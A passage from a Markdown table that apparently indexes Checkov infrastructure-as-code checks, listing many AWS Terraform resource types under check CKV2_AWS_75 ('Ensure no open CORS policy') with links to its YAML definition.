[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2653 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_default_route_table_propagation          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2654 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_multicast_domain                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2655 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_multicast_domain_association             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2656 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_multicast_group_member                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2657 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_multicast_group_source                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2658 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_peering_attachment                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2659 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_peering_attachment_accepter              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2660 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_policy_table                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2661 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_policy_table_association                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2662 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_prefix_list_reference                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2663 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_route                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2664 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_route_table                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2665 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_route_table_association                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2666 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_route_table_propagation                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2667 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_vpc_attachment                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2668 | CKV2_AWS_75     | resource | aws_ec2_transit_gateway_vpc_attachment_accepter                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2669 | CKV2_AWS_75     | resource | aws_ecr_account_setting                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2670 | CKV2_AWS_75     | resource | aws_ecr_lifecycle_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2671 | CKV2_AWS_75     | resource | aws_ecr_pull_through_cache_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2672 | CKV2_AWS_75     | resource | aws_ecr_registry_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2673 | CKV2_AWS_75     | resource | aws_ecr_registry_scanning_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2674 | CKV2_AWS_75     | resource | aws_ecr_replication_configuration                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2675 | CKV2_AWS_75     | resource | aws_ecr_repository                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2676 | CKV2_AWS_75     | resource | aws_ecr_repository_creation_template                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2677 | CKV2_AWS_75     | resource | aws_ecr_repository_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2678 | CKV2_AWS_75     | resource | aws_ecrpublic_repository                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2679 | CKV2_AWS_75     | resource | aws_ecrpublic_repository_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2680 | CKV2_AWS_75     | resource | aws_ecs_account_setting_default                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2681 | CKV2_AWS_75     | resource | aws_ecs_capacity_provider                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2682 | CKV2_AWS_75     | resource | aws_ecs_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2683 | CKV2_AWS_75     | resource | aws_ecs_cluster_capacity_providers                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2684 | CKV2_AWS_75     | resource | aws_ecs_service                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2685 | CKV2_AWS_75     | resource | aws_ecs_tag                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2686 | CKV2_AWS_75     | resource | aws_ecs_task_definition                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2687 | CKV2_AWS_75     | resource | aws_ecs_task_set                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2688 | CKV2_AWS_75     | resource | aws_efs_access_point                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2689 | CKV2_AWS_75     | resource | aws_efs_backup_policy                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2690 | CKV2_AWS_75     | resource | aws_efs_file_system                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2691 | CKV2_AWS_75     | resource | aws_efs_file_system_policy                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2692 | CKV2_AWS_75     | resource | aws_efs_mount_target                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2693 | CKV2_AWS_75     | resource | aws_efs_replication_configuration                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2694 | CKV2_AWS_75     | resource | aws_egress_only_internet_gateway                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2695 | CKV2_AWS_75     | resource | aws_eip                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2696 | CKV2_AWS_75     | resource | aws_eip_association                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2697 | CKV2_AWS_75     | resource | aws_eip_domain_name                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2698 | CKV2_AWS_75     | resource | aws_eks_access_entry                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2699 | CKV2_AWS_75     | resource | aws_eks_access_policy_association                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2700 | CKV2_AWS_75     | resource | aws_eks_addon                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2701 | CKV2_AWS_75     | resource | aws_eks_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2702 | CKV2_AWS_75     | resource | aws_eks_fargate_profile                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2703 | CKV2_AWS_75     | resource | aws_eks_identity_provider_config                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2704 | CKV2_AWS_75     | resource | aws_eks_node_group                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2705 | CKV2_AWS_75     | resource | aws_eks_pod_identity_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2706 | CKV2_AWS_75     | resource | aws_elastic_beanstalk_application                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2707 | CKV2_AWS_75     | resource | aws_elastic_beanstalk_application_version                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2708 | CKV2_AWS_75     | resource | aws_elastic_beanstalk_configuration_template                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2709 | CKV2_AWS_75     | resource | aws_elastic_beanstalk_environment                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2710 | CKV2_AWS_75     | resource | aws_elasticache_cluster                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2711 | CKV2_AWS_75     | resource | aws_elasticache_global_replication_group                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2712 | CKV2_AWS_75     | resource | aws_elasticache_parameter_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2713 | CKV2_AWS_75     | resource | aws_elasticache_replication_group                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2714 | CKV2_AWS_75     | resource | aws_elasticache_reserved_cache_node                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2715 | CKV2_AWS_75     | resource | aws_elasticache_security_group                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2716 | CKV2_AWS_75     | resource | aws_elasticache_serverless_cache                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2717 | CKV2_AWS_75     | resource | aws_elasticache_subnet_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2718 | CKV2_AWS_75     | resource | aws_elasticache_user                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2719 | CKV2_AWS_75     | resource | aws_elasticache_user_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2720 | CKV2_AWS_75     | resource | aws_elasticache_user_group_association                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2721 | CKV2_AWS_75     | resource | aws_elasticsearch_domain                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2722 | CKV2_AWS_75     | resource | aws_elasticsearch_domain_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2723 | CKV2_AWS_75     | resource | aws_elasticsearch_domain_saml_options                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2724 | CKV2_AWS_75     | resource | aws_elasticsearch_vpc_endpoint                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2725 | CKV2_AWS_75     | resource | aws_elastictranscoder_pipeline                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2726 | CKV2_AWS_75     | resource | aws_elastictranscoder_preset                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2727 | CKV2_AWS_75     | resource | aws_elb                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2728 | CKV2_AWS_75     | resource | aws_elb_attachment                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2729 | CKV2_AWS_75     | resource | aws_emr_block_public_access_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2730 | CKV2_AWS_75     | resource | aws_emr_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2731 | CKV2_AWS_75     | resource | aws_emr_instance_fleet                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2732 | CKV2_AWS_75     | resource | aws_emr_instance_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2733 | CKV2_AWS_75     | resource | aws_emr_managed_scaling_policy                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2734 | CKV2_AWS_75     | resource | aws_emr_security_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2735 | CKV2_AWS_75     | resource | aws_emr_studio                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2736 | CKV2_AWS_75     | resource | aws_emr_studio_session_mapping                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2737 | CKV2_AWS_75     | resource | aws_emrcontainers_job_template                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2738 | CKV2_AWS_75     | resource | aws_emrcontainers_virtual_cluster                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2739 | CKV2_AWS_75     | resource | aws_emrserverless_application                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2740 | CKV2_AWS_75     | resource | aws_evidently_feature                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2741 | CKV2_AWS_75     | resource | aws_evidently_launch                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2742 | CKV2_AWS_75     | resource | aws_evidently_project                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2743 | CKV2_AWS_75     | resource | aws_evidently_segment                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2744 | CKV2_AWS_75     | resource | aws_finspace_kx_cluster                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2745 | CKV2_AWS_75     | resource | aws_finspace_kx_database                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2746 | CKV2_AWS_75     | resource | aws_finspace_kx_dataview                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2747 | CKV2_AWS_75     | resource | aws_finspace_kx_environment                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2748 | CKV2_AWS_75     | resource | aws_finspace_kx_scaling_group                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | 